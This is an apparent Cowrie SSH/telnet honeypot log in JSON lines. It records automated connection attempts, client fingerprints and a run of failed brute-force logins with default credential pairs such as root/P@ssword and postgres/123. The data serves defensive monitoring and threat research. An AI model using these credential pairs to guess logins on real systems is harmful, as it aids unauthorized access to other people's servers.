{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:48.890416Z","src_ip":"192.109.200.237","session":"32145ace7477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:49.136887Z","src_ip":"192.109.200.237","session":"32145ace7477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:50.221967Z","src_ip":"192.109.200.237","session":"32145ace7477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43160,"dst_ip":"10.17.0.5","dst_port":23,"session":"6733ba591ba2","protocol":"telnet","message":"New connection: 152.42.224.71:43160 (10.17.0.5:23) [session: 6733ba591ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:50.864105Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43168,"dst_ip":"10.17.0.5","dst_port":23,"session":"ced03403ac15","protocol":"telnet","message":"New connection: 152.42.224.71:43168 (10.17.0.5:23) [session: ced03403ac15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:52.062983Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60574,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ade108829c5","protocol":"ssh","message":"New connection: 192.109.200.237:60574 (159.203.135.109:22) [session: 9ade108829c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:52.092937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:52.097315Z","src_ip":"192.109.200.237","session":"9ade108829c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:52.179235Z","src_ip":"192.109.200.237","session":"9ade108829c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:52.424067Z","src_ip":"192.109.200.237","session":"9ade108829c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:53.509653Z","src_ip":"192.109.200.237","session":"9ade108829c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60588,"dst_ip":"159.203.135.109","dst_port":22,"session":"2324febcfa97","protocol":"ssh","message":"New connection: 192.109.200.237:60588 (159.203.135.109:22) [session: 2324febcfa97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:55.383927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:55.389096Z","src_ip":"192.109.200.237","session":"2324febcfa97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:55.588986Z","src_ip":"192.109.200.237","session":"2324febcfa97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:55.876925Z","src_ip":"192.109.200.237","session":"2324febcfa97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:56.967910Z","src_ip":"192.109.200.237","session":"2324febcfa97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56100,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3829426ce1","protocol":"telnet","message":"New connection: 152.42.224.71:56100 (10.17.0.5:23) [session: 8b3829426ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:58.289986Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60590,"dst_ip":"159.203.135.109","dst_port":22,"session":"247c4d26da2e","protocol":"ssh","message":"New connection: 192.109.200.237:60590 (159.203.135.109:22) [session: 247c4d26da2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:58.801397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:58.805773Z","src_ip":"192.109.200.237","session":"247c4d26da2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:58.889895Z","src_ip":"192.109.200.237","session":"247c4d26da2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:59.140425Z","src_ip":"192.109.200.237","session":"247c4d26da2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:00.227193Z","src_ip":"192.109.200.237","session":"247c4d26da2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60528,"dst_ip":"159.203.135.109","dst_port":22,"session":"7019ed4c2fd9","protocol":"ssh","message":"New connection: 192.109.200.237:60528 (159.203.135.109:22) [session: 7019ed4c2fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:02.113108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:02.120060Z","src_ip":"192.109.200.237","session":"7019ed4c2fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:02.204001Z","src_ip":"192.109.200.237","session":"7019ed4c2fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:02.462561Z","src_ip":"192.109.200.237","session":"7019ed4c2fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:03.548646Z","src_ip":"192.109.200.237","session":"7019ed4c2fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60544,"dst_ip":"159.203.135.109","dst_port":22,"session":"c97c3b2de57d","protocol":"ssh","message":"New connection: 192.109.200.237:60544 (159.203.135.109:22) [session: c97c3b2de57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:05.468777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:05.474530Z","src_ip":"192.109.200.237","session":"c97c3b2de57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:05.560066Z","src_ip":"192.109.200.237","session":"c97c3b2de57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:05.965187Z","src_ip":"192.109.200.237","session":"c97c3b2de57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.02960133552551,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:06.525459Z","src_ip":"152.42.224.71","session":"9a5bcdba9e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:07.052600Z","src_ip":"192.109.200.237","session":"c97c3b2de57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45242,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b379f20cad8","protocol":"telnet","message":"New connection: 152.42.224.71:45242 (10.17.0.5:23) [session: 7b379f20cad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:08.264874Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60558,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f44a7bd7420","protocol":"ssh","message":"New connection: 192.109.200.237:60558 (159.203.135.109:22) [session: 4f44a7bd7420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:08.975573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:08.980955Z","src_ip":"192.109.200.237","session":"4f44a7bd7420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:09.068553Z","src_ip":"192.109.200.237","session":"4f44a7bd7420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:09.316548Z","src_ip":"192.109.200.237","session":"4f44a7bd7420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:10.405505Z","src_ip":"192.109.200.237","session":"4f44a7bd7420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33278,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc597422a373","protocol":"ssh","message":"New connection: 192.109.200.237:33278 (159.203.135.109:22) [session: bc597422a373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:12.270629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:12.387410Z","src_ip":"192.109.200.237","session":"bc597422a373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:12.393658Z","src_ip":"192.109.200.237","session":"bc597422a373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:12.729768Z","src_ip":"192.109.200.237","session":"bc597422a373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:13.849362Z","src_ip":"192.109.200.237","session":"bc597422a373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33290,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce218eaf49d9","protocol":"ssh","message":"New connection: 192.109.200.237:33290 (159.203.135.109:22) [session: ce218eaf49d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:15.727762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:15.735264Z","src_ip":"192.109.200.237","session":"ce218eaf49d9","protocol":"ssh"}
